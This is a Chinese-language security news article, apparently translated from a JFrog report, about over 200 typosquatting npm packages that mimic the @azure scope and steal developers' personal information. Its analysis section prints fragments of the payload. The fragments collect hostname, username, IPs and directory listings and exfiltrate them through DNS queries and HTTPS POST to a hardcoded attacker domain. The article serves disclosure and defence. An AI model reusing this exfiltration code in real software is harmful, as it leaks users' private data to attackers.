書圈 - 200 多個 npm 包被攻擊，Azure 開發者請注意！－鑽石舞台

點擊上圖，查看教學大綱

出品 | CSDN（ID：CSDNnews）

近期，JFrog 安全研究團隊發現了數百個惡意軟件包，這些軟件包旨在大規模的 typosquatting （誤植域名）攻擊中竊取 PII（個人身份信息）。

JFrog 安全研究團隊使用 JFrog 平台的自動化工具持續監控流行的開源軟件（OSS）存儲庫，以避免潛在的軟件供應鏈安全威脅，並將發現的漏洞或惡意軟件包報告給存儲庫維護者以及更廣泛的社區。

幾天前，JFrog 平台的幾個自動分析器開始對 npm（node package manager）註冊表中的一組軟件包發出警報。這組特殊的軟件包在幾天內穩步增長，截至 3 月 21 日，已從 50 多個軟件包增加到了 200 多個軟件包。

JFrog 在手動檢查了其中一些軟件包後，發現這是針對整個 @azure npm 作用域的攻擊，攻擊者利用自動腳本來創建賬戶並上傳覆蓋整個作用域的惡意軟件包。目前，JFrog 發現這些軟件包的惡意有效載荷主要用於竊取 PII（個人身份信息）。

所幸，整套惡意軟件包很快被 npm 維護者發現，所以這些軟件包被迅速刪除了。

攻擊目標與軟件供應鏈攻擊方式

攻擊者主要攻擊的目標為所有使用 @azure 作用域內軟件包的 npm 開發者，以及 @azure-rest、@azure-test、@azure-tools 和 @cadl-lang 作用域中的一些包。

攻擊者所使用的攻擊方法是 typosquatting（誤植域名：一種域名搶注形式，常常會導致品牌劫持）——攻擊者簡單地創建一個新的（惡意的）包，使其名稱與現有的 @azure 作用域包相同，但刪除了作用域名。

例如，下面是一個合法的 @azure npm 包：

而它的惡意對應者為：

這種惡意攻擊針對了至少 218 個包。已被披露包的完整列表發布在 JFrog 的安全研究網站上（詳見參考鏈接的附錄A）。

由於一些開發者在安裝包時可能會錯誤地省略 @azure 前綴，因此讓攻擊者有了可乘之機。例如，開發者可能會錯誤地運行「npm install core-tracing」，而不是正確的命令：「npm install @azure/core-tracing」。

除了 typosquatting（誤植域名）攻擊方法之外，所有的惡意軟件包都有極高的版本號（例如99.10.9），這表明其中存在依賴項混淆攻擊。因此，JFrog 猜測，除了基於 typosquatting（誤植域名）的常規 npm 用戶目標外，攻擊者還試圖攻擊開發者和運行於 Microsoft/Azure 內部網絡的設備。不過，JFrog 沒有繼續研究這個攻擊載體，因此這只是一個猜測。

利用自動化模糊攻擊來源

根據攻擊的規模可以發現，攻擊者顯然是使用了腳本來上傳惡意軟件包。另外，攻擊者還試圖隱藏這些惡意軟件包均由同一作者上傳的事實，為上傳的每個惡意軟件包都創建了一個獨特的用戶名(用隨機生成的名字)：

惡意有效載荷的技術分析

如前所述，這些包的惡意有效載荷用於竊取/偵察 PII（個人身份信息）。

一旦軟件包被安裝，惡意代碼就會自動運行，並泄露以下詳細信息：

以下目錄的列表(非遞歸)：

C:\

D:\

/home

用戶的用戶名

用戶的主目錄

當前的工作目錄

所有網絡接口的IP地址

已配置的DNS服務器的IP地址

其所攻擊的包的名稱

const td = { p: package, c: __dirname, hd: os.homedir(), hn: os.hostname(), un: os.userInfo().username, dns: JSON.stringify(dns.getServers()), ip: JSON.stringify(gethttpips()), dirs: JSON.stringify(getFiles(["C:\\","D:\\","/","/home"])),}

這些細節是主要通過兩個途徑泄露：

HTTPS POST 到硬編碼的主機名 ——「425a2.rt11.ml」

DNS查詢"<HEXSTR>.425a2.rt11.ml"，其中<HEXSTR>被替換為已泄露的詳細信息，並以十六進制字符串的形式串聯在一起

var hostname = "425a2.rt11.ml";query_string=toHex(pkg.hn)+"."+toHex(pkg.p)+"."+toHex(pkg.un)+"."+getPathChunks(pkg.c)+"."+getIps()+"."+hostname;...dns.lookup(query_string)

JFrog 懷疑，這種惡意有效載荷要麼是為了在發送更牢固的有效載荷之前，對易受攻擊的目標進行初步偵察，要麼是作為針對 Azure 用戶（可能還有微軟的開發人員）的 bug 賞金獵殺嘗試。

該代碼還包含一組笨拙的測試，估計是為了確保惡意有效載荷不會在攻擊者自己的機器上運行。

作為一名使用目標軟件包的 Azure 開發者，應該怎麼做？

JFrog 表示，使用 JFrog Xray 的用戶是受到保護的，任何在 Xray 中標記的惡意軟件包都會被及時刪除，所以不會受到這種攻擊。

除此之外，開發者還可以通過檢查軟件包的名稱是否以 @azure* 範圍開頭，以此確保安裝的軟件包是合法的。

例如，可以通過改變當前目錄到開發者想測試的 npm 項目，並運行以下命令來完成：

npm list | grep -f packages.txt

其中 "packages.txt "包含受影響軟件包的完整列表（詳見參考鏈接的附錄A）。

如果發現任何的返回結果不是以"@azure*"範圍開頭，那麼說明開發者可能已經受到了這種攻擊的影響。

結論

幸運的是，由於這些軟件包很快就被發現和披露（大約在它們被發布後的2天內），因此它們並沒有被大量安裝，每個包的平均下載量只有 50 次左右。

npm 的維護者們顯然也非常重視安全問題，採取了許多相關措施：為避免將來出現 typosquatting（誤植域名），預先阻止特定的軟件包名稱；對主流軟件包的維護者提出雙因素認證要求等等。

然而，由於通過 npm 和 PyPI 包存儲庫容易導致供應鏈攻擊迅速增長，開發者應當增加更多的審查和緩解措施。例如，在創建 npm 用戶時添加 CAPTCHA（驗證碼）機制，使攻擊者無法輕易創建任意數量的用戶來上傳惡意軟件包，也更容易識別攻擊。除此之外，作為安全軟件監管過程的一部分，開發者也應該設置基於 SAST 或 DAST 技術（或最好兩者兼有）的自動軟件包過濾需求。

參考鏈接：https://jfrog.com/blog/large-scale-npm-attack-targets-azure-developers-with-malicious-packages/